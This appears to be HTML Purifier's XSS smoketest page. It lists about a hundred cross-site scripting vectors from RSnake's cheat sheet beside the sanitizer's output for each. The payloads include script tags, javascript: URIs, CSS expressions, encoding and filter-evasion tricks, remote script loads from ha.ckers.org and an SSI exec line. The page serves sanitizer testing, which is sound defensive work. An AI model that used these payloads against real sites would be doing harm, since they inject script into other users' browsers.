HTML Purifier XSS Attacks Smoketest

XSS attacks are from http://ha.ckers.org/xss.html.

Caveats: `Google.com` has been programatically disallowed, but as you can see, there are ways of getting around that, so coverage in this area is not complete. Most XSS broadcasts its presence by spawning an alert dialogue. The displayed code is not strictly correct, as linebreaks have been forced for readability. Linewraps have been marked with ». Some tests are omitted for your convenience. Not all control characters are displayed.

Test

Name	Raw	Output	Render

XSS Locator	';alert(String.fromCharCode(»
	88,83,83))//\';alert(String. »
	fromCharCode(88,83,83))//";a »
	lert(String.fromCharCode(88, »
	83,83))//\";alert(String.fro »
	mCharCode(88,83,83))//--></S »
	CRIPT>">'><SCRIPT>alert(Stri »
	ng.fromCharCode(88,83,83))</ »
	SCRIPT>=&{}
		';alert(String.fromCharCode(»
		88,83,83))//\';alert(String. »
		fromCharCode(88,83,83))//";a »
		lert(String.fromCharCode(88, »
		83,83))//\";alert(String.fro »
		mCharCode(88,83,83))//--&gt; »
		"&gt;'&gt;=&amp;{}
			';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCha
			->">'>=&{}

XSS Quick Test	'';!--"<XSS>=&{()}	'';!--"=&amp;{()}	'';!--"=&{()}
SCRIPT w/Alert()	<SCRIPT>alert('XSS')</SCRIPT » >		
SCRIPT w/Source File	<SCRIPT » SRC=http://ha.ckers.org/xss. » js></SCRIPT>		
SCRIPT w/Char Code	<SCRIPT>alert(String.fromCha » rCode(88,83,83))</SCRIPT>		
BASE	<BASE » HREF="javascript:alert('XSS' »);//">		
BGSOUND	<BGSOUND » SRC="javascript:alert('XSS') » ;">		
BODY background-image	<BODY » BACKGROUND="javascript:alert » ('XSS');">		
BODY ONLOAD	<BODY ONLOAD=alert('XSS')>		
DIV background-image 1	<DIV » STYLE="background-image: » url(javascript:alert('XSS')) » ">	<div></div>	

Name	Raw	Output	Render
DIV background-image 2	<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">	<div></div>	
DIV expression	<DIV STYLE="width: expression(alert('XSS'));">	<div></div>	
FRAME	<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>		
IFRAME	<IFRAME SRC="javascript:alert('XSS');"></IFRAME>		
INPUT Image	<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">		
IMG w/JavaScript Directive	<IMG SRC="javascript:alert('XSS');">		
IMG No Quotes/Semicolon	<IMG SRC=javascript:alert('XSS')>		
IMG Dynsrc	<IMG DYNSRC="javascript:alert('XSS');">		
IMG Lowsrc	<IMG LOWSRC="javascript:alert('XSS');">		
IMG Embedded commands 1	<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">	<img src="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode" alt="somecommand.php?somevariables=maliciouscode" />	somecommand.php?somevariables=maliciouscode
IMG STYLE w/expression	exp/*<XSS STYLE='no\xss:noxss("*//*"); xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>	exp/*	exp/*
List-style-image	<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS	<ul><li>XSS</li></ul>	• XSS

Name	Raw	Output	Render
IMG w/VBscript	`<IMG SRC='vbscript:msgbox("XSS")'>`		
LAYER	`<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>`		
Livescript	`<IMG SRC="livescript:[code]">`		
US-ASCII encoding	`scriptalert(XSS)/script`	`scriptalert(XSS)/script`	scriptalert(XSS)/script
META	`<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">`		
META w/data:URL	`<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">`		
META w/additional URL parameter	`<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">`		
Mocha	`<IMG SRC="mocha:[code]">`		
OBJECT	`<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>`		
OBJECT w/Embedded XSS	`<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>`		
Embed Flash	`<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>`		
STYLE	`<STYLE TYPE="text/javascript">alert('XSS');</STYLE>`		

Name	Raw	Output	Render
STYLE w/Comment	`<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">`		
STYLE w/Anonymous HTML	`<XSS STYLE="xss:expression(alert('XSS'))">`		
STYLE w/background-image	`<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>`	`<a class="XSS"></a>`	
STYLE w/background	`<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>`		
Stylesheet	`<LINK REL="stylesheet" HREF="javascript:alert('XSS');">`		
Remote Stylesheet 1	`<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">`		
Remote Stylesheet 2	`<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>`		
Remote Stylesheet 3	`<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">`		
Remote Stylesheet 4	`<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>`		
TABLE	`<TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>`		
TD	`<TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>`		

Name	Raw	Output	Render

XML namespace	<HTML xmlns:xss>
	<?import »
	namespace="xss" »
	implementation="http://ha.ck »
	ers.org/xss.htc">
	<xss:xss>X »
	SS</xss:xss>
	
	</HTML>
		&lt;?import namespace="xss" »
		implementation="http://ha.ck »
		ers.org/xss.htc"&gt;
		XSS
			<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> XSS

XML data island w/CDATA	<XML »
	ID=I><X><C><![CDATA[<IMG »
	SRC="javas]]><![CDATA[cript: »
	alert('XSS');">]]>
	
	</C></X> »
	</xml><SPAN DATASRC=#I »
	DATAFLD=C DATAFORMATAS=HTML>
		&lt;IMG »
		SRC="javascript:alert('XSS') »
		;"&gt;
		
		<span></span>
			<IMG SRC="javascript:alert('XSS');">

XML data island w/comment	<XML ID="xss"><I><B><IMG » SRC="javas<!-- » -->cript:alert('XSS')"></B>< » /I></XML> <SPAN » DATASRC="#xss" DATAFLD="B" » DATAFORMATAS="HTML"></SPAN>	<i><b><img src="javas" » alt="javas&lt;!-- » --&gt;cript:alert('XSS')" » /></b></i><span></span>	***javas<!-- -->cript:alert('XSS')***

XML (locally hosted)	<XML »
	SRC="http://ha.ckers.org/xss »
	test.xml" ID=I></XML>
	<SPAN »
	DATASRC=#I DATAFLD=C »
	DATAFORMATAS=HTML></SPAN>
		<span></span>	

XML HTML+TIME	<HTML><BODY>
	<?xml:namespace »
	prefix="t" »
	ns="urn:schemas-microsoft-co »
	m:time">
	
	<?import »
	namespace="t" »
	implementation="#default#tim »
	e2">
	<t:set »
	attributeName="innerHTML" »
	to="XSS<SCRIPT »
	DEFER>alert('XSS')</SCRIPT>" »
	> </BODY></HTML>
		&lt;?xml:namespace »
		prefix="t" »
		ns="urn:schemas-microsoft-co »
		m:time"&gt;
		
		&lt;?import »
		namespace="t" »
		implementation="#default#tim »
		e2"&gt;
			<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> <?import namespace="t" implementation="#default#time2">

Commented-out Block	<!--[if gte IE » 4]> <SCRIPT>alert('XSS');</S » CRIPT> <![endif]-->		

Name	Raw	Output	Render
Cookie Manipulation	<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">		
Local .htc file	<XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">		
Rename .js to .jpg	<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>		
SSI	<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->		
PHP	<? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?>	&lt;? echo('alert("XSS")'); ?&gt;	<? echo('alert("XSS")'); ?>
JavaScript Includes	<BR SIZE="&{alert('XSS')}">	<br />	
Character Encoding Example	< %3C &lt &lt; &LT &LT; &#60 &#060 &#0060 &#00060 &#000060 &#0000060 &#60; &#060; &#0060; &#00060; &#000060; &#0000060; &#x3c &#x03c &#x003c &#x0003c &#x00003c &#x000003c &#x3c; &#x03c;	&lt; %3C &amp;lt &lt; &amp;LT &amp;LT; &lt;	< %3C &lt < &LT &LT; < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \u003C

Name	Raw	Output	Render

	&#x003c; »
	&#x0003c;
	&#x00003c;
	&#x000 »
	003c;
	&#X3c
	&#X03c
	&#X003c
	& »
	#X0003c
	&#X00003c
	&#X000003c »
	&#X3c;
	&#X03c;
	&#X003c;
	&#X »
	0003c;
	&#X00003c;
	&#X000003c »
	;
	&#x3C
	&#x03C
	&#x003C
	&#x0 »
	003C
	&#x00003C
	&#x000003C
	&# »
	x3C;
	&#x03C;
	&#x003C;
	&#x000 »
	3C;
	&#x00003C;
	&#x000003C;
	& »
	#X3C
	&#X03C
	&#X003C
	&#X0003C »
	&#X00003C
	&#X000003C
	&#X3C »
	;
	&#X03C;
	&#X003C;
	&#X0003C; »
	&#X00003C;
	&#X000003C;
	\x3c »
	\x3C
	\u003c
	\u003C
		&lt;
		&lt;
		&lt;
		&lt;
		&lt;
		&l »
		t;
		&lt;
		&lt;
		&lt;
		&lt;
		&lt;
		»
		&lt;
		&lt;
		&lt;
		&lt;
		&lt;
		&lt »
		;
		&lt;
		&lt;
		&lt;
		&lt;
		&lt;
		»
		&lt;
		&lt;
		&lt;
		&lt;
		&lt;
		&lt »
		;
		&lt;
		&lt;
		&lt;
		&lt;
		&lt;
		& »
		lt;
		&lt;
		&lt;
		&lt;
		&lt;
		&lt »
		;
		&lt;
		\x3c
		\x3C
		\u003c
		\u00 »
		3C	

Case Insensitive	<IMG » SRC=JaVaScRiPt:alert('XSS')>		

Name	Raw	Output	Render
HTML Entities	<IMG SRC=javascript:alert(&quot;XSS&quot;)>		
Grave Accents	<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>	<img src="%60javascript%3Aalert(" alt="`javascript:alert(&quot;RSnake" />	`javascript:alert("RSnake
Image w/CharCode	<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>		
UTF-8 Unicode Encoding	<IMG SRC=&#106;&#97;&#118;&#97;s&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>		
Long UTF-8 Unicode w/out Semicolons	<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>		
DIV w/Unicode	<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">	<div></div>	
Hex Encoding w/out Semicolons	<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>		
UTF-7 Encoding	<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-	+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-	+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
Escaping JavaScript escapes	\";alert('XSS');//	\";alert('XSS');//	\";alert('XSS');//

Name	Raw	Output	Render
End title tag	</TITLE><SCRIPT>alert("XSS");</SCRIPT>		
STYLE w/broken up JavaScript	<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>		
Embedded Tab	<IMG SRC="jav\tascript:alert('XSS');">	<img src="jav%20ascript%3Aalert('XSS');" alt="jav ascript:alert('XSS');" />	jav ascript:alert('XSS');
Embedded Encoded Tab	<IMG SRC="jav&#x09;ascript:alert('XSS');">	<img src="jav%20ascript%3Aalert('XSS');" alt="jav ascript:alert('XSS');" />	jav ascript:alert('XSS');
Embedded Newline	<IMG SRC="jav&#x0A;ascript:alert('XSS');">	<img src="jav%20ascript%3Aalert('XSS');" alt="jav ascript:alert('XSS');" />	jav ascript:alert('XSS');
Embedded Carriage Return	<IMG SRC="jav&#x0D;ascript:alert('XSS');">	<img src="jav%20ascript%3Aalert('XSS');" alt="jav ascript:alert('XSS');" />	jav ascript:alert('XSS');
Multiline w/Carriage Returns	<IMG SRC = " j a v a s c r i p t : a l e r t (' X S S ') " >	<img src="j%20a%20v%20a%20s%20c%20r%20i%20p%20t%20%3A%20a%20l%20e%20r%20t%20(%20'%20X%20S%20S%20'%20)" alt="j a v a s c r i p t : a l e r t (' X S S ')" />	j a v a s c r i p t : a l e r t (' X S S ')

Name	Raw	Output	Render
Null Chars 1	<IMG SRC=java\0script:alert("XSS")>		
Null Chars 2	&<SCR\0IPT>alert("XSS")</SCR\0IPT>	&amp;	&
Spaces/Meta Chars	<IMG SRC=" &#14; javascript:alert('XSS');">	<img src="" alt="" />	
Non-Alpha/Non-Digit	<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>		
Non-Alpha/Non-Digit Part 2	<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>		
No Closing Script Tag	<SCRIPT SRC=http://ha.ckers.org/xss.js		
Protocol resolution in script tags	<SCRIPT SRC=//ha.ckers.org/.j>		
Half-Open HTML/JavaScript	<IMG SRC="javascript:alert('XSS')"		
Double open angle brackets	<IFRAME SRC=http://ha.ckers.org/scriptlet.html <		
Extraneous Open Brackets	<<SCRIPT>alert("XSS");//<</SCRIPT>	&lt;	<
Malformed IMG Tags	<IMG """><SCRIPT>alert("XSS")</SCRIPT>">	"&gt;	">
No Quotes/Semicolons	<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>		
Evade Regex Filter 1	<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>		
Evade Regex Filter 2	<SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>		

Name	Raw	Output	Render
Evade Regex Filter 3	<SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>		
Evade Regex Filter 4	<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>		
Evade Regex Filter 5	<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>		
Filter Evasion 1	<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>	PT SRC="http://ha.ckers.org/xss.js"&gt;	PT SRC="http://ha.ckers.org/xss.js">
Filter Evasion 2	<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>		
IP Encoding	<A HREF="http://66.102.7.147/">XSS</A>	<a href="http://66.102.7.147/">XSS</a>	XSS
URL Encoding	<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>	<a>XSS</a>	XSS
Dword Encoding	<A HREF="http://1113982867/">XSS</A>	<a href="http://1113982867/">XSS</a>	XSS
Hex Encoding	<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>	<a href="http://0x42.0x0000066.0x7.0x93/">XSS</a>	XSS
Octal Encoding	<A HREF="http://0102.0146.0007.00000223/">XSS</A>	<a href="http://0102.0146.0007.00000223/">XSS</a>	XSS
Mixed Encoding	<A HREF="h tt\tp://6&#09;6.000146.0x7.147/">XSS</A>	<a href="h%20tt%20p%3A//6%206.000146.0x7.147/">XSS</a>	XSS
Protocol Resolution Bypass	<A HREF="//www.google.com/">XSS</A>	<a>XSS</a>	XSS
Firefox Lookups 1	<A HREF="//google">XSS</A>	<a href="//google">XSS</a>	XSS

Name	Raw	Output	Render
Firefox Lookups 2	`<A HREF="http://ha.ckers.org@google">XSS</A>`	`<a href="http://google">XSS</a>`	XSS
Firefox Lookups 3	`<A HREF="http://google:ha.ckers.org">XSS</A>`	`<a href="http://google">XSS</a>`	XSS
Removing Cnames	`<A HREF="http://google.com/">XSS</A>`	`<a>XSS</a>`	XSS
Extra dot for Absolute DNS	`<A HREF="http://www.google.com./">XSS</A>`	`<a>XSS</a>`	XSS
JavaScript Link Location	`<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>`	`<a>XSS</a>`	XSS
Content Replace	`<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>`	`<a href="http://www.gohttp//www.google.com/ogle.com/">XSS</a>`	XSS